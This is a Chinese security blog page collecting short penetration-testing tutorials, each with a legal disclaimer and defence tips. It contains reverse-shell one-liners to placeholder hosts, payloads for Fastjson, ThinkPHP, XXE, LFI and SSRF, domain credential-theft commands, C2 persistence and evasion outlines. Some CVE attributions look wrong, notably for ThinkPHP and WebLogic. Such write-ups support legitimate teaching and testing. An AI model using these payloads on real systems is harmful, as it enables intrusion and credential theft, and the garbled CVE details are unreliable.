安全测试 on SoulJian小站

API安全测试入门

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

API 安全测试只在授权测试环境进行。

一、API 安全检查点

1

认证 · 授权 · 输入验证 · 数据暴露 · 业务逻辑

二、测试清单

1
2
3
4


认证：Token 缺失/过期/篡改 → 401
授权：用户 A 调用用户 B 的 API
输入验证：参数类型/长度/格式 + SQL 注入
数据暴露：响应不应包含敏感字段

三、防御方法

1
2


JWT 签名验证 · 最小权限 · 参数白名单
响应脱敏 · 限流 + 审计日志

四、小结

API 安全测试的五大核心：认证 → 授权 → 输入 → 数据 → 业务。使用 Burp Suite + Postman + OWASP ZAP 组合工具链，覆盖 OWASP API Security Top 10。

BloodHound域关系分析

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

域渗透测试只在授权测试环境进行。

一、BloodHound 拓扑

1

① 收集域数据 → ② 导入 BloodHound → ③ 查找路径 → ④ 权限提升

二、常用查询

1
2
3
4


Find Shortest Paths to Domain Admins
Find Users with Privileged Sessions
Find Computers with Unconstrained Delegation
Find Trusts to External Domains

三、防御加固

1
2
3


最小权限原则 · 禁止过度授权
禁用 unconstrained delegation
定期审计 AD 权限

四、小结

BloodHound 是域渗透的核心工具。通过可视化域关系，快速找到从低权限到 Domain Admin 的最短攻击路径。

C2上线后的持久化与免杀组合实战

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

持久化技术只在授权测试环境使用。

一、持久化与免杀架构

1

① 上线 → ② 权限提升 → ③ 持久化 → ④ 免杀 → ⑤ 横向移动

二、持久化方式

1
2
3


计划任务（schtasks）· 注册表 Run · Windows 服务
WMI 持久化 · COM 事件订阅 · Startup 文件夹
SSH authorized_keys · Crontab · systemd 服务

三、免杀组合

1

编码混淆 + 编译加壳 + Loader 加载 + C2 流量变形

四、小结

持久化的核心是确保重启后仍能控制目标。免杀的核心是绕过 AV/EDR 检测。两者结合使用可确保长期控制。

CobaltStrike基础与Beacon实战

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

Cobalt Strike 使用只在授权测试环境进行。

一、Cobalt Strike 架构

1

C2 Server → Listener → Payload → Beacon → Socks5 → Malleable C2

二、Beacon 常用命令

1
2
3
4


系统信息：sysinfo · getuid · getsystem
后渗透：runas · execute-assembly · mimikatz
网络代理：socks5 · route
持久化：updater / launcher

三、Beacon 类型

1
2
3


Beacon（S）：SMB Beacon · 横向移动
Beacon（HTTP）：HTTP Beacon · 主流方式
Beacon（DNS）：DNS Beacon · 隐蔽通信

四、小结

Cobalt Strike 是 C2 框架的标杆。掌握 Beacon 命令和 Malleable C2 流量变形，可完成从上线到后渗透的完整攻击链。

Confluence-OGNL-RCE复现

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

Confluence 攻击只在授权测试环境进行。对非授权目标进行攻击可能触犯法律。

一、Confluence OGNL 注入链

1

① 发现 Confluence → ② 确认版本 → ③ OGNL 注入 → ④ 执行命令 → ⑤ 反弹 Shell → ⑥ 提权

二、漏洞信息

1
2
3
4


CVE-2022-26134
影响：Confluence Server 6.14 ~ 7.14.3
入口：/rest/api/userinfo
类型：未授权 OGNL 注入

三、利用步骤

1
2
3
4
5
6
7
8
9


# 确认版本
curl -s http://target:8090

# X-Atlassian-Token: {{...}} 注入
# 验证命令执行
whoami · id · uname -a

# 反弹 Shell
bash -i >& /dev/tcp/xxx/4444

四、防御加固

1
2
3


升级到 Confluence 7.15.0+
Confluence 不暴露公网
WAF 拦截 X-Atlassian-Token 异常值

五、小结

Confluence OGNL 注入是典型的未授权代码执行漏洞。防御核心是升级版本 + 网络隔离。

Cookie与Session入门

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

本文讲 Cookie/Session 基础，不涉及攻击。

一、Cookie 与 Session

1

Cookie（客户端）· Session（服务端）

二、安全属性

1
2
3


HttpOnly：禁止 JavaScript 读取
Secure：仅 HTTPS 传输
SameSite：防止 CSRF

三、小结

Cookie + Session 是 Web 会话管理的核心。HttpOnly + Secure + SameSite 是安全配置三要素。

CORS配置错误入门

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

CORS 测试只在授权测试环境进行。

一、CORS 配置错误

1
2


Allow-Origin: * + Allow-Credentials: true = 凭证泄露
反射 Origin：不校验可信域名

二、攻击方式

1
2


构造恶意页面 → 携带 Cookie 请求目标 API
→ 浏览器允许跨域 → 读取响应内容

三、验证命令

1
2


curl -H "Origin: http://evil.com" http://target/api
# 查看返回头中的 Access-Control-Allow-*

四、防御方法

1
2
3
4


白名单：只允许可信域名列表
凭证保护：SameSite=Strict Cookie
API 安全：敏感 API 要求 HTTPS + Token 认证
监控：记录 Origin 请求日志 · 异常告警

五、小结

CORS 配置错误的核心是信任了不可信的 Origin。防御核心是白名单校验 + 禁止 * + Credentials 组合。

DHCP协议及IP自动获取

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

DHCP 测试只在授权网络环境进行。

一、DHCP 协议

1

DORA：Discover → Offer → Request → Acknowledge

二、DHCP 攻击

1

DHCP 耗尽攻击 · DHCP 欺骗（伪 DHCP 服务器）

三、防御加固

1

DHCP Snooping · 端口安全 · DHCP 限速

四、小结

DHCP 是网络自动化的基础协议。防御核心是DHCP Snooping + 端口安全。

Docker与K8s云安全实战

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

容器安全测试只在授权环境进行。

一、Docker/K8s 安全

1

容器逃逸 · 镜像安全 · K8s API 滥用 · 配置错误 · CIS 加固

二、Docker 逃逸方式

1
2


Docker Socket 挂载 · 特权容器 · 宿主机目录挂载
内核漏洞 · K8s API 未授权

三、防御加固

1
2
3


镜像安全：Trivy/Grype 扫描 CVE
容器配置：禁止 --privileged · 非 root 用户
K8s 安全：RBAC 最小权限 · 网络策略

四、小结

容器安全的核心是最小权限 + 镜像安全 + K8s RBAC。

Fastjson反序列化RCE漏洞复现

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

Fastjson 攻击只在授权测试环境进行。

一、Fastjson 攻击链

1

① 发现 Fastjson → ② AutoType 状态 → ③ JNDI 注入 → ④ 加载恶意类 → ⑤ RCE

二、利用方式

1

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://xxx/a","autoCommit":true}

三、防御加固

1
2


升级到 Fastjson 1.2.68+ · 禁用 AutoType
设置 SecurityManager · WAF 拦截 @type

四、小结

Fastjson 反序列化是 Java 反序列化最经典的 RCE 漏洞。升级到 1.2.68+ 并禁用 AutoType 是核心防御。

FTP笑脸漏洞复现

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

FTP 漏洞测试只在授权测试环境进行。

一、FTP 笑脸漏洞

1

① 发现 vsftpd → ② 确认版本 → ③ 触发后门 → ④ 连接 6200 端口

二、利用步骤

1
2
3
4
5
6
7


# 发现后门（用户名为 admin:）
ftp target
Name: admin:)
# 后门开启 6200 端口

nc target 6200
# 获得 Shell

三、防御加固

1
2


升级到 vsftpd 3.0.0+
防火墙关闭 6200 端口

四、小结

FTP 笑脸漏洞是 vsftpd 2.3.4 的后门漏洞。升级版本是唯一有效的防御。

HTTP请求报文和响应字段报文

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

本文讲 HTTP 基础，不涉及攻击。

一、HTTP 报文结构

1
2


请求：请求行 + 请求头 + 请求体
响应：响应行 + 响应头 + 响应体

二、常用字段

1
2


Host · User-Agent · Accept · Content-Type · Cookie
Content-Length · Set-Cookie · Cache-Control · Location

三、常用状态码

1

200 成功 · 301/302 重定向 · 401 未认证 · 403 禁止 · 404 未找到 · 500 服务器错误

四、小结

HTTP 报文是 Web 通信的基础。请求头/响应头/状态码是安全测试的核心知识点。

Jenkins未授权与代码执行利用

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

Jenkins 攻击只在授权测试环境进行。

一、Jenkins 攻击链

1

① 发现 Jenkins → ② 确认未授权 → ③ 创建 Job → ④ 执行脚本 → ⑤ 反弹 Shell

二、利用步骤

1
2
3
4
5
6


# 确认未授权
curl -s http://target:8080/api/json

# 创建 Job + 触发执行
POST /createItem?name=exploit
POST /job/exploit/build

三、防御加固

1
2


启用认证 · 网络隔离 · CSRF 防护
WAF 拦截 /api/* 访问

四、小结

Jenkins 未授权 = RCE。防御核心是认证 + 网络隔离 + CSRF 防护。

JWT入门与安全边界

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

JWT 安全测试只在授权测试环境进行。

一、JWT 攻击方法

1

① 伪造签名 ② 算法降级 ③ 密钥泄露 ④ 篡改 Claim ⑤ 无签名 ⑥ 过期

二、常见攻击

1
2
3
4


算法降级：RS256 → HS256（公开公钥当密钥）
密钥暴力：短密钥（<16位）可暴力破解
篡改 Claim：修改 payload 中 role/exp
无签名：alg=none → 服务器不验证

三、防御方法

1
2
3
4


强制算法：服务端硬编码允许算法（RS256）
强密钥：≥ 256 bit · 使用非对称密钥
过期时间：access_token 15min + refresh_token 刷新
安全存储：HTTPS · HttpOnly Cookie · 不存 localStorage

四、小结

JWT 安全核心是强制服务端指定算法 + 使用强密钥。拒绝 alg=none，密钥长度至少 256 bit。

Kerberoasting与AS-REP-Roasting实战

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

域渗透只在授权测试环境进行。对非授权 AD 域进行攻击可能触犯法律。

一、Kerberoasting 实战

1
2


Kerberoasting：有域用户 → 请求 TGS → hashcat 破解
AS-REP Roasting：无域用户 → 请求 TGT → hashcat 破解

二、常用命令

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


# Rubeus Kerberoasting
Rubeus.exe kerberoast /format:asreproast

# Rubeus AS-REP Roasting
Rubeus.exe asreproast /format:asreproast

# hashcat 破解
hashcat -m 13100 tgs.out rockyou.txt
hashcat -m 18200 asrep.out rockyou.txt

# Impacket getTGS
getTGS.py domain/user /spn:HTTP/target

三、防御加固

1
2
3


强制启用 Kerberos 预认证
使用强密码（16位+大小写+特殊字符）
监控异常 TGS 请求

四、小结

Kerberoasting 是域渗透中最常见的凭据获取方式。防御核心是强制启用预认证 + 强密码策略。

Nacos漏洞利用实战

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

Nacos 攻击只在授权测试环境进行。

一、Nacos 攻击链

1

① 未授权访问 → ② 添加用户 → ③ 任意文件读写 → ④ 内存马 → ⑤ RCE

二、利用步骤

1
2
3
4


未授权：直接访问 /nacos/
添加用户：POST /v1/auth/users
任意文件读写：PUT /v1/cs/configs
内存马：利用 Tomcat 执行内存 WebShell

三、防御加固

1
2
3


升级到 Nacos 2.x+
开启鉴权（auth.enabled=true）
不暴露公网

四、小结

Nacos 未授权 + 任意文件读写 = RCE。防御核心是开启鉴权 + 升级到 2.x+。

OAuth 2.0 授权码模式入门

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

OAuth2 安全测试只在授权环境进行。

一、OAuth2 授权码模式

1

① 用户访问 → ② 跳转授权服务器 → ③ 用户授权 → ④ 回调授权码 → ⑤ 换取 Token

二、防御加固

1

PKCE · State 参数 · HTTPS · Token 过期

三、小结

OAuth2 授权码模式是最安全的认证方式。PKCE + State + HTTPS 是安全最佳实践。

OAuth2授权码模式入门

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

OAuth2 安全测试只在授权环境进行。

一、OAuth2 授权码模式

1

① 用户访问 → ② 跳转授权服务器 → ③ 用户授权 → ④ 回调授权码 → ⑤ 换取 Token

二、Token 类型

1
2
3


Authorization Code：授权码 → 换取 Access Token
Access Token：访问资源
Refresh Token：刷新 Access Token

三、防御加固

1
2
3


PKCE：移动端防止授权码拦截
State 参数：防止 CSRF
HTTPS：Token 传输加密

四、小结

OAuth2 授权码模式是 Web 应用最安全的认证方式。PKCE + State 参数 + HTTPS 是安全最佳实践。

RCE代码执行与命令执行实战

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

命令注入攻击只在授权测试环境进行。对非授权系统执行命令注入可能触犯法律。

一、命令注入原理

1

用户输入 → 命令拼接 → 系统执行 → 结果输出

二、危险代码

1
2


os.system("ping " + user_input)
subprocess.run(f"ping {ip}", shell=True)

三、注入连接符

1

; :: && || ` $( ) | \n %0a %0d%0a

四、利用方式

1
2
3
4
5
6
7


# 反弹 Shell
bash -i >& /dev/tcp/xxx/4444 0>&1

# 信息收集
cat /etc/passwd
whoami
uname -a

五、防御方法

1
2
3
4
5
6


# 方案1：避免拼接
subprocess.run(["ping", ip], shell=False)

# 方案2：输入过滤
# 只允许 IP 格式
# 过滤特殊字符：; | & ` $ ( )

六、小结

命令注入的本质是用户输入被当作命令执行。防御核心是使用参数列表而非字符串拼接，配合输入过滤和沙箱隔离。

sqlmap使用与SQL注入自动化实战

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

sqlmap 只在授权测试环境使用。

一、sqlmap 工作流程

1

① 发现注入点 → ② 自动检测 → ③ 获取数据库 → ④ 读取表/列 → ⑤ Dump 数据

二、常用命令

1
2
3
4
5
6
7
8


# 基础扫描
sqlmap -u "http://target/?id=1" --batch

# 获取数据库
sqlmap -u "http://target/?id=1" --dbs

# Dump 数据
sqlmap -u "http://target/?id=1" -D db -T table --dump

三、小结

sqlmap 是 SQL 注入自动化的核心工具。--batch 实现全自动扫描，配合 tamper 脚本绕过 WAF。

SQL注入原理与防御

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

SQL 注入测试只在授权测试环境进行。

一、SQL 注入攻击链

1

① 发现注入点 → ② 判断注入类型 → ③ 获取数据库信息 → ④ 读取数据 → ⑤ 写文件/执行命令

二、注入类型

1
2
3
4


数字注入：id=1 UNION SELECT...
字符注入：name=' UNION SELECT...
布尔盲注：id=1 AND 1=1 / AND 1=2
时间盲注：id=1 AND SLEEP(5)

三、防御加固

1
2
3
4


参数化查询（预处理语句）
ORM 框架（Hibernate/MyBatis）
WAF 规则拦截
最小权限原则

四、小结

SQL 注入的核心是用户输入被拼接到 SQL 语句中。参数化查询是唯一有效的防御。

SSRF深入实战：利用面与绕过

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

SSRF 攻击只在授权测试环境进行。

一、SSRF 利用链

1

① 发现 SSRF → ② 内网扫描 → ③ 打 Redis/MySQL/S3 → ④ 打云元数据 → ⑤ RCE

二、利用方式

1
2
3
4
5


打 Redis：写 Crontab / SSH 密钥 / WebShell
打 MySQL：SSRF → 连接内网 MySQL
打云元数据：http://169.254.169.254/
打 S3：s3://bucket/file
打 gopher：gopher://127.0.0.1:6379/_EXPIRE%20msg%200

三、绕过方式

1
2
3


DNS 重绑定 · IPv6（::1）· 127.1/127.2 · HTTP/2
使用协议转换：http:// → gopher://
使用 URL 短链接

四、防御加固

1
2
3
4


统一出口（内网服务不直接暴露）
禁止访问内网地址
设置 URL 白名单
限制协议（只允许 HTTP/HTTPS）

五、小结

SSRF 是打内网的核心入口。利用面广泛（Redis/MySQL/S3/云元数据），防御核心是内网隔离 + URL 白名单 + 协议限制。

SSRF深入实战：利用面与绕过手法

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

SSRF 测试只在授权环境进行。对非授权系统探测内网可能触犯法律。

一、SSRF 原理

1
2
3


SSRF（Server-Side Request Forgery）：
服务器代替用户请求指定的 URL。攻击者控制 URL 参数，
让服务器请求内网地址或云元数据。

二、SSRF 利用拓扑

三、SSRF 利用场景

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


场景 1：云元数据获取凭据
 169.254.169.254/latest/meta-data/iam/security-credentials/

场景 2：内网 Redis 未授权
 gopher://127.0.0.1:6379/_SET msg "pwned"

场景 3：内网端口扫描
 探测 80/443/6379/27017/8080/9200/11211

场景 4：文件读取
 file:///etc/passwd
 file:///etc/shadow

场景 5：K8s API 访问
 http://127.0.0.1:8080/api/v1/namespaces/default/pods

四、绕过手法

第 1 种：协议绕过

1
2
3
4
5


file:///etc/passwd
gopher://127.0.0.1:6379/_info
dict://127.0.0.1:11211/stats
sftp://127.0.0.1:22
ldap://127.0.0.1:389

第 2 种：IP 格式绕过

1
2
3
4
5
6


127.0.0.1 = 0177.0.0.1 （八进制）
127.0.0.1 = 2130706433 （十进制）
127.0.0.1 = 0x7f000001 （十六进制）
127.0.0.1 = 127.1 （省略补全）
127.0.0.1 = [::1]:80 （IPv6）
127.0.0.1 = [0:0:0:0:0:0:0:1]:80

第 3 种：DNS 重绑定

1
2


第 1 步：域名解析到外部 IP（通过白名单校验）
第 2 步：服务器真正连接时，域名解析到内网 IP

五、检测方法

1
2
3
4
5
6


# 手动检测
curl "http://target/api?url=http://127.0.0.1:6379"
# 响应包含 Redis 响应 → SSRF 存在

# 自动检测
nuclei -t ssrf.yaml

六、防御措施

1
2
3
4
5


1. URL 白名单（只允许指定域名/IP）
2. 禁用非 http(s) 协议
3. 禁止内网 IP + 元数据 IP
4. 网络层隔离（SSRF 出口在独立子网）
5. 云元数据使用 IMDSv2（要求 Token）

七、小结

SSRF 的危害不仅在于"探测内网"，更在于打到内网未授权服务（Redis/MQ/K8s API/云元数据）→ Getshell。防御关键是URL 白名单 + 协议限制 + 网络隔离。

ThinkPHP5x-RCE漏洞复现

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

ThinkPHP 攻击只在授权测试环境进行。

一、ThinkPHP RCE 利用链

1

① 发现 ThinkPHP → ② 确认版本 → ③ __construct 注入 → ④ 执行命令 → ⑤ RCE

二、漏洞信息

1
2


CVE-2018-2722（5.0.x < 5.0.22）：/index.php?s=captcha
CVE-2019-2883（5.1.x < 5.1.30）：/index.php?s=/Index/\think\app/invokefunction

三、利用步骤

1
2
3
4
5
6


# CVE-2018-2722
POST /index.php?s=captcha
_method=fetch&filter=system&server[REQUEST_URI]=whoami

# CVE-2019-2883
GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func&vars[0]=system&vars[1]=whoami

四、防御加固

1
2
3


升级到 ThinkPHP 5.0.22+ / 5.1.31+
修改默认路由模式
WAF 拦截 invokefunction

五、小结

ThinkPHP 5.x 的 RCE 漏洞是 ThinkPHP 最经典的漏洞。升级到安全版本是唯一有效的防御。

WAF原理与绕过思路

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

WAF 绕过测试只在授权测试环境进行。

一、WAF 架构

1

① 流量接入 → ② 规则匹配 → ③ 动作执行（允许/阻止/重写）

二、绕过方式

1
2
3
4
5


编码绕过：URL编码/Base64/Unicode
分块传输：Transfer-Encoding: chunked
协议滥用：HTTP/2 · Host 头注入
大小写混淆：SeLeCt / UNION+SELECT
注释插入：/**/ · /*xx*/

三、防御加固

1
2


规则更新 · 深度包检测（DPI）· 行为分析
多层 WAF 部署 · 异常流量告警

四、小结

WAF 是 Web 安全的重要防线，但不是万能的。绕过 WAF 的方法多样，防御方需持续更新规则并结合行为分析。

WebLogic-CVE-2020-14882未授权RCE复现

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

WebLogic 攻击只在授权测试环境进行。对非授权目标进行攻击可能触犯法律。

一、WebLogic RCE 利用链

1

① 发现 → ② 确认版本 → ③ 开启 T3 → ④ 构造 payload → ⑤ 发送 EXP → ⑥ Shell

二、漏洞信息

1
2
3
4


CVE-2020-14882
影响：WebLogic 10.3.6 / 12.1.3 / 12.2.1
模块：WLS-WSAT（无需登录）
入口：/wls-wsat/CoordinatorPortType

三、利用步骤

1
2
3


确认版本 → 构造 JNDI 反序列化 payload
→ 发送至 /wls-wsat/CoordinatorPortType
→ 反弹 Shell

四、防御加固

1
2
3


升级到 WebLogic 12.2.1.4+
关闭 T3 协议
WAF 拦截 /wls-wsat/ 路径

五、小结

CVE-2020-14882 是 WebLogic 最危险的漏洞之一（无需登录即可 RCE）。防御核心是升级补丁 + 关闭 T3。

XXE-XML外部实体漏洞实战

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

XXE 攻击只在授权测试环境进行。对非授权系统利用 XXE 可能触犯法律。

一、XXE 攻击链

1

① 发现 XML → ② 注入 DTD → ③ 文件读取 → ④ SSRF → ⑤ OOB 外带 → ⑥ RCE

二、利用方式

1
2
3
4
5


<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

1
2
3
4
5


文件读取：file:// /proc/self/environ
SSRF：http://internal-service/
OOB 外带：读取无回显文件
RCE：php://filter · expect://
DoS：ENTITY bomb "&bomb;&bomb;"

三、防御方法

1
2
3
4


禁用 DTD：libxml_disable_entity_loader(true)
使用 JSON 替代 XML
更新依赖库到安全版本
WAF 规则检测 XXE payload

四、小结

XXE 攻击面广泛（文件读取/SSRF/RCE/DoS）。防御核心是禁用外部实体解析或使用 JSON 替代 XML。

堡垒机专项

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

堡垒机测试只在授权测试环境进行。

一、堡垒机安全

1

① 身份认证 → ② 权限控制 → ③ 会话审计 → ④ 操作日志 → ⑤ 风险控制

二、攻击方式

1
2
3
4


越权访问：改 Cookie/Token 访问他人资源
弱口令：堡垒机自身账号弱密码
API 未授权：堡垒机 API 未鉴权
配置错误：未开启 MFA / 审计日志

三、防御加固

1
2


强制 MFA · 最小权限 · 定期审计
操作录像 · 异常告警 · 双因素认证

四、小结

堡垒机是安全管理的核心入口。MFA + 最小权限 + 操作审计是防御核心。

代码审计入门

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

代码审计只在授权测试环境进行。

一、代码审计六步

1

① 环境搭建 → ② 信息收集 → ③ 静态分析 → ④ 动态验证 → ⑤ 编写报告 → ⑥ 修复验证

二、审计工具链

1
2
3
4


IDE 插件：SonarQube · FindBugs · PMD
代码扫描：grep -rn "eval|exec|system" src/
审计重点：输入验证 · 权限控制 · 加密使用 · 错误处理
报告格式：漏洞位置 · 代码片段 · 风险等级 · 修复建议

三、OWASP Top 10 审计清单

1
2
3
4


A01 访问控制：检查鉴权中间件 · 权限校验逻辑
A02 加密机制：检查 HTTPS · 密码加密 · 敏感数据
A03 注入：检查 SQL 拼接 · 命令拼接 · XSS
A06 易受攻击组件：npm audit / pip-audit

四、小结

代码审计是白盒安全测试的核心。静态分析 + 动态验证结合使用，覆盖 OWASP Top 10 是审计最低标准。

横向移动Pass-the-Hash实战

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

Pass-the-Hash 攻击只在授权测试环境进行。

一、Pass-the-Hash 攻击链

1

① 获取 Hash → ② Pass-the-Hash → ③ 控制目标主机 → ④ 继续横向移动

二、常用工具

1
2
3
4
5
6


# Mimikatz 获取 Hash
sekurlsa::logonpasswords
lsadump::sam

# Pass-the-Hash
psexec.py domain/user@target -hashes :NTLMHASH

三、防御加固

1
2
3
4


启用 Credential Guard
强制网络登录身份验证
监控异常凭据使用
限制管理员远程登录

四、小结

Pass-the-Hash 是横向移动的核心技术。Credential Guard + 网络登录认证是防御核心。

漏洞联动SSRF打Redis未授权Getshell

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

漏洞联动测试只在授权测试环境进行。

一、SSRF 打 Redis 攻击链

1

① SSRF → ② 发现 Redis 6379 → ③ 写 Crontab/SSH 密钥 → ④ GetShell

二、利用步骤

1
2
3
4
5
6
7


1. SSRF 探测内网 Redis：http://target/?url=http://127.0.0.1:6379
2. 连接 Redis：redis-cli -h 内网IP
3. 写 Crontab：
 set msg "\n* * * * * bash -i >& /dev/tcp/xxx/4444 0>&1\n"
 config set dir /var/spool/cron/crontabs
 config set dbfilename root
 save

三、防御加固

1
2


Redis 设置密码 · bind 127.0.0.1
禁止 SSRF · URL 白名单

四、小结

SSRF + Redis 未授权 = GetShell。防御核心是Redis 加密码 + SSRF 防护。

漏洞联动XSS打CSRF账号接管

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

XSS/CSRF 测试只在授权测试环境进行。

一、XSS 打 CSRF 攻击链

1

① XSS → ② 窃取 Session/Cookie → ③ CSRF Token → ④ 账号接管

二、利用方式

1
2
3


XSS → 窃取 Cookie → 伪造登录会话
XSS → 窃取 CSRF Token → 发起恶意请求
XSS → 篡改页面 → 诱导用户操作

三、防御加固

1
2


输出编码 · CSP · HttpOnly Cookie
SameSite Cookie · CSRF Token · 二次确认

四、小结

XSS + CSRF 是 Web 应用最常见的联动攻击。HttpOnly Cookie + SameSite + CSP 是防御核心。

目录穿越漏洞实战

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

目录穿越测试只在授权测试环境进行。

一、目录穿越攻击链

1

① 发现参数 → ② 构造 ../ → ③ 读取敏感文件 → ④ 结合文件包含 → RCE

二、利用方式

1
2
3
4


../../etc/passwd
..%252f..%252fetc/passwd（双重编码）
..\..\..\windows\win.ini（Windows）
%2e%2e%2f%2e%2e%2fetc/passwd（URL编码）

三、防御加固

1
2
3
4


路径规范化：realpath/canonicalize
禁止 ../ 参数
文件白名单限制
WAF 规则拦截

四、小结

目录穿越的核心是用户可控路径参数被直接拼接。防御核心是路径规范化 + 白名单限制。

内网渗透：信息收集与存活主机探测

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

内网渗透只在授权测试环境进行。对非授权内网进行探测可能触犯法律。

一、信息收集流程

1

① 探测存活主机 → ② 端口扫描 → ③ 服务指纹 → ④ 漏洞扫描 → ⑤ 弱口令爆破

二、存活探测

1
2
3
4
5
6
7
8


# fping 扫描网段
fping -a 192.168.1.0/24

# nmap 快速探测
nmap -sn 192.168.1.0/24

# arp 扫描（仅本地）
arp-scan -l

三、端口扫描

1
2
3
4
5
6
7
8


# 全端口快速扫描
nmap -sS -p- -T4 target

# 服务版本探测
nmap -sS -sV -O -p- target

# masscan 大范围扫描
masscan -p1-65535 192.168.1.0/24

四、信息收集清单

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


Windows：
 ipconfig /all · net user · net group
 net view · net share · tasklist
 wmic qfe list（补丁列表）
 reg query（已安装软件）

Linux：
 hostname · ifconfig · cat /etc/passwd
 cat /etc/crontab · ps aux · lsof -i
 cat /etc/hosts · arp -a · netstat -rn

五、小结

内网信息收集的核心是按层递进：先找活主机，再扫端口，然后识别服务版本，最后验证漏洞。不要跳过步骤，每个发现都可能是下一个突破口的钥匙。

渗透思路登录窗口

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

登录窗口测试只在授权测试环境进行。

一、登录窗口攻击思路

1

① 爆破 → ② 验证码 → ③ 密码重置 → ④ 越权 → ⑤ Cookie 伪造

二、攻击方法

1
2
3
4
5
6
7


弱口令爆破：hydra / burp intruder
验证码识别：OCR / 打码平台 / 绕过
密码重置：Token 泄露 / 时间戳碰撞
短信轰炸：无限请求验证码接口
越权：改 Cookie 中用户 ID
Cookie 伪造：JWT / 签名伪造
默认账号：admin/admin123

三、防御加固

1
2


强密码策略 · 账户锁定 · 验证码
日志审计 · 异常登录告警

四、小结

登录窗口是安全测试的必检点。强密码 + 账户锁定 + 行为监控是防御核心。

渗透思路输入框

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

输入框测试只在授权测试环境进行。

一、输入框攻击思路

1

① SQL注入 → ② XSS → ③ 命令注入 → ④ 路径遍历 → ⑤ SSRF

二、攻击方法

1
2
3
4
5
6
7


SQL注入：' OR 1=1-- · UNION SELECT · 布尔盲注
XSS：<script>alert(1)</script>
命令注入：; cat /etc/passwd
路径遍历：../../../etc/passwd
SSRF：http://169.254.169.254/
模板注入：{{7*7}} · ${{...}}
XXE：<!DOCTYPE xxe [<!ENTITY xxx SYSTEM "file:///">]>

三、防御加固

1
2


参数化查询 · 输出编码 · 输入过滤
统一异常处理 · WAF 防护

四、小结

输入框是 Web 应用最大的攻击面。输入过滤 + 输出编码 + 参数化查询是防御核心。

文件包含漏洞：LFI / RFI 实战

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

文件包含攻击只在授权测试环境进行。

一、文件包含攻击链

1

① LFI 读文件 → ② 写日志/环境变量 → ③ 包含日志 → ④ PHP stream → ⑤ RCE

二、利用方式

1
2
3
4
5


LFI：读取 /etc/passwd / /proc/self/environ
RFI：远程包含 → 执行远程 WebShell
FFI：文件包含 → 文件上传组合 → RCE
PHP stream：php://filter/base64-decode/
data://text/plain,<?php eval($_POST[1])?>

三、防御加固

1
2
3


禁止动态文件包含 · 使用白名单
disable_functions 禁用敏感函数
WAF 规则拦截 ../ 等路径

四、小结

文件包含的核心是用户可控文件路径被包含执行。LFI 读文件 → 写日志 → 包含日志 = RCE。防御核心是禁止动态包含。

文件包含漏洞：LFI / RFI 实战

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

文件包含测试只在授权测试环境进行。

一、文件包含攻击链

1

① LFI 读文件 → ② 写日志/环境变量 → ③ 包含日志 → ④ PHP stream → ⑤ RCE

二、利用方式

1
2
3


LFI：../../etc/passwd
PHP stream：php://filter/convert.base64-encode/resource=file
data://text/plain,<?php phpinfo()?>

三、防御加固

1

禁止动态包含 · disable_functions · WAF 规则

四、小结

文件包含的核心是用户可控文件路径被包含执行。LFI + 日志包含 = RCE。防御核心是禁止动态包含。

文件上传漏洞与WebShell原理

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

文件上传攻击只在授权测试环境进行。

一、WebShell 架构

1

① 上传绕过 → ② 获取 WebShell → ③ 连接冰蝎/哥斯拉 → ④ 权限维持 → ⑤ 横向移动

二、上传绕过方式

1
2
3
4
5
6
7


前端校验：绕过 JavaScript 校验
MIME 类型：修改 Content-Type
后缀黑名单：.php → .phtml / .php5
大小写：.PhP / .PHP
